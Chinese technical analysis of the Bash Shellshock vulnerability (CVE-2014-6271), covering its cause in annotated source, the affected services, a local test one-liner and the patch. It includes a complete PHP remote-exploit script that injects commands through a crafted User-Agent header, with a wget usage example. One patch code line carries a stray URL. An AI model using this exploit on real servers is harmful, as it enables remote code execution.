1. 漏洞的起因2. 漏洞原理分析3. 漏洞的影响范围4. 漏洞的POC、测试方法5. 漏洞的修复Patch

http://ss64.com/bash/env.html

Syntax     env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]1. Options    1) -u NAME    2) --unset=NAME    Remove variable NAME from the environment, if it was in the environment.    3) -i    --ignore-environment    Start with an empty environment, ignoring the inherited environment.2. COMMAND [ARGS]需要执行的指令

1. ENV指令允许临时改变环境变量，即指定本次指令执行的环境变量，这从一定程度上给了黑客进行PATH Hajaking的可能性2. ENV指令还允许在设置环境变量后进行指令执行，从某种程度上来说，ENV相当于一个指令执行的指令，同时还附带有临时设置环境变量的功能

http://ss64.com/bash/env.htmlhttp://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271http://seclists.org/oss-sec/2014/q3/651https://access.redhat.com/node/1200223http://seclists.org/oss-sec/2014/q3/650https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

...if (interactive_shell == 0 && read_but_dont_execute){    last_result = EXECUTION_SUCCESS;    dispose_command (global_command);    global_command = (COMMAND *)NULL;}else if (command = global_command){    struct fd_bitmap *bitmap;      /*    这里没有对传入的command进行正确的边界检查，引入了代码注入的可能性    */    bitmap = new_fd_bitmap (FD_BITMAP_SIZE);    begin_unwind_frame ("pe_dispose");    add_unwind_protect (dispose_fd_bitmap, bitmap);    add_unwind_protect (dispose_command, command);    /* XXX */    global_command = (COMMAND *)NULL;...

/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don‘t import functions from ENV orparse $SHELLOPTS. */void initialize_shell_variables (env, privmode) char **env; int privmode;{    ...    create_variable_tables ();        /*    从ENV环境变量中获取参数    */    for (string_index = 0; string = env[string_index++]; )    {        char_index = 0;        name = string;        while ((c = *string++) && c != ‘=‘) ;        if (string[-1] == ‘=‘)            char_index = string - name - 1;        /* If there are weird things in the environment, like `=xxx‘ or a            string without an `=‘, just skip them. */        if (char_index == 0)            continue;        /* ASSERT(name[char_index] == ‘=‘) */        name[char_index] = ‘\0‘;        /*         Now, name = env variable name, string = env variable value, and char_index == strlen (name)         */        /*         If exported function, define it now.  Don‘t import functions from the environment in privileged mode.        解析环境变量设置中的函数定义        */        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))        {            string_length = strlen (string);            temp_string = (char *)xmalloc (3 + string_length + char_index);            strcpy (temp_string, name);            temp_string[char_index] = ‘ ‘;            strcpy (temp_string + char_index + 1, string);            /*            这句是关键，initialize_shell_variables对环境变量中的代码进行了执行，由于它错误的信任的外部发送的数据，形成了和SQL注入类似的场景，这句代码和PHP中的eval是类似的，黑客只要满足2个条件            1. 控制发送的参数，并在其中拼接payload            2. 黑客发送的包含payload的参数会被无条件的执行，而执行方不进行任何的边界检查            这就是典型的数据和代码没有进行正确区分导致的漏洞            */            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}             if (name[char_index - 1] == ‘)‘ && name[char_index - 2] == ‘(‘)                name[char_index - 2] = ‘\0‘;             if (temp_var = find_function (name))            {                VSETATTR (temp_var, (att_exported|att_imported));                array_needs_making = 1;            }            else                report_error (_("error importing function definition for `%s‘"), name);            /* ( */            if (name[char_index - 1] == ‘)‘ && name[char_index - 2] == ‘\0‘)                name[char_index - 2] = ‘(‘;        /* ) */        }    }｝

1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置 2. 黑客通过自定义函数，并导出到变量中3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的，即把ENV的参数当成code来执行，这在正常情况下是没有问题的4. 问题的关键是BASH没有对传入的参数进行正确的边界检查，导致数据和代码的混杂，产生了和PHP EVAL Code InJection类似的漏洞env x=‘() { :;}; echo vulnerable‘5. 代码注入的关键点在; echo vulnerable

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

bash-4.2.45-5.el7_0.2     bash-4.1.2-15.el6_5.1 bash-4.1.2-15.el6_5.1.sjis.1bash-4.1.2-9.el6_2.1     bash-4.1.2-15.el6_4.1     bash-3.2-33.el5.1    bash-3.2-33.el5_11.1.sjis.1    bash-3.2-24.el5_6.1    bash-3.2-32.el5_9.2    bash-3.0-27.el4.2

1. 我们的攻击目标存在cmd执行的交互接口    1) 本地交互shell：这是最直接的方式    2) SSH：使用SSH进行bash执行需要你知道对方的ssh帐号密码    3) FTP：需要对方开启了ftp cms的执行权限，已经你已经有了一个ftp的帐号密码    4) cgi：需要对方开启了CGI的解析模块2. 我们有办法设置目标(或者临时设置)的环境变量3. 我们可以控制即将进行环境变量设置的参数 

1. httpd    1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源    2) 服务器提供了CGI脚本，当 CGI script被webserver执行的时候，CGI Script会去调用Bash黑客可以通过开启了CGI的httpd服务器进行远程代码执行2. Secure Shell (SSH)对于git、rsync这类远程shell来说，常常会对用户可以执行的指令进行严格限制，但是这个BASH解析漏洞提供了一个bypass的向量3. dhclient动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改，可以达到污染dhcpclient的环境变量参数的目的，从而进行远程代码执行4. CUPS5. sudo6. Firefox

poc: env x=‘() { :;}; echo vulnerable‘  bash -c "echo this is a test"expected result: vulnerablethis is a test//如果出现这个结果，则说明本机的bash存在漏洞

<?php/*Title: Bash Specially-crafted Environment Variables Code Injection VulnerabilityCVE: 2014-6271Vendor Homepage: https://www.gnu.org/software/bash/Author: Prakhar Prasad && Subho HalderAuthor Homepage: https://prakharprasad.com && https://appknox.comDate: September 25th 2014Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash        echo "Content-type: text/html"        echo ""        echo "Bash-is-Vulnerable" */error_reporting(0);if(!defined(‘STDIN‘)) die("Please run it through command-line!\n");$x  = getopt("u:c:");if(!isset($x[‘u‘]) || !isset($x[‘c‘])){die("Usage: ".$_SERVER[‘PHP_SELF‘]." -u URL -c cmd\n"); }$url = $x[‘u‘];$cmd = $x[‘c‘];     $context = stream_context_create(        array(            ‘http‘ => array(                ‘method‘  => ‘GET‘,                ‘header‘  => ‘User-Agent: () { :;}; /bin/bash -c "‘.$cmd.‘"‘            )        )    );         if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)    die("Command sent to the server!\n");    else    die("Connection Error\n");?> 

http://www.exploit-db.com/exploits/34766/

1. 进行正确的边界检查，严格区分函数定义和代码注入2. 对输入参数进行参数化防御，不允许除了允许范围之外的参数传入

/* Flags for describe_command, shared between type.def and command.def */#define SEVAL_FUNCDEF   0x080    /* only allow function definitions */#define SEVAL_ONECMD  0x100    /* only allow a single command */

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def){    internal_warning ("%s: ignoring function definition attempt", from_file);    should_jump_to_top_level = 0;    last_result = last_command_exit_value =http://www.mamicode.com/ EX_BADUSAGE;    break;}..if (flags & SEVAL_ONECMD)    break;

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052